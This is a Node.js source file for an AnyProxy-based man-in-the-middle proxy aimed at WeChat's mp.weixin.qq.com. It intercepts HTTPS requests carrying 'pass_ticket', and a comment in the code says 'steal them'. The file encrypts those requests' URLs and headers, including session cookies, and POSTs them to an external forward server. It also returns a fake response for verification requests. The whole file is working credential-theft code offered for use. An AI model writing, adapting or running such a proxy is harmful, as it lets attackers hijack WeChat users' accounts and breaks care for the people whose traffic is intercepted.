const abort = (err) => { console.error(err) process.exit(1) } if (!process.env.PROXY_FORWARD_URL) abort('Please define forward URL in env PROXY_FORWARD_URL.') if (!process.env.PROXY_FORWARD_KEY) abort('Please define cipher key in env PROXY_FORWARD_KEY.') const key = Buffer.from(process.env.PROXY_FORWARD_KEY, 'base64') if (!key || key.length !== 32) abort('The cipher key shall be 32-byte base64 encoded string.') if (!process.env.PROXY_MOBILE_ID) abort('Please define mobile ID in env MOBILE_ID.') const _id = process.env.PROXY_MOBILE_ID const port = process.env.PROXY_PORT || '11451' const AnyProxy = require('anyproxy') const http = require('https') const crypto = require('crypto') const MP_HOST = 'mp.weixin.qq.com' const authTagLength = 16 /** * * @param {string} url * @param {http.RequestOptions['headers']} headers */ const postData = (url, headers) => { const nonce = crypto.randomBytes(12) const aad = crypto.randomBytes(16) const cipher = crypto.createCipheriv('chacha20-poly1305', key, nonce, { authTagLength }) cipher.setAAD(aad) const encrypted = Buffer.concat([ cipher.update(JSON.stringify({ _id, url, headers })), cipher.final() ]).toString('base64') const tag = cipher.getAuthTag().toString('base64') const body = { nonce: nonce.toString('base64'), encrypted, tag, aad: aad.toString('base64') } // console.log(body) const req = http.request(process.env.PROXY_FORWARD_URL, { method: 'POST', headers: { 'Content-Type': 'application/json' } }, res => { let data = '' res.on('error', console.error) res.on('data', chunk => { data += chunk.toString() }) res.on('end', () => console.log(res.statusCode, data)) }) req.on('error', console.error) req.write(JSON.stringify(body)) req.end() } /** * @type {AnyProxy.RuleModule} */ const rule = { summary: 'WeChat Credential', *beforeSendRequest({ url, requestOptions }) { if (requestOptions.hostname.toLowerCase() === MP_HOST) { if (url.includes('pass_ticket')) { // we like this, steal them postData(url, requestOptions.headers) if (requestOptions.path.includes('getverifyinfo')) { // just skip request return { response: { statusCode: 200, header: { 'Content-Type': 'text/html' }, body: '

NTR

', } } } } } return null }, *beforeDealHttpsRequest({ host }) { return host.includes(MP_HOST) } } const proxy = new AnyProxy.ProxyServer({ port, rule }) proxy.on('ready', () => { const fs = require('fs') const filename = 'proxy.lock' setInterval(() => { const time = new Date(); try { fs.utimesSync(filename, time, time); } catch (e) { let fd = fs.openSync(filename, 'a'); fs.closeSync(fd); } }, 1000) }) proxy.on('error', console.error); proxy.start();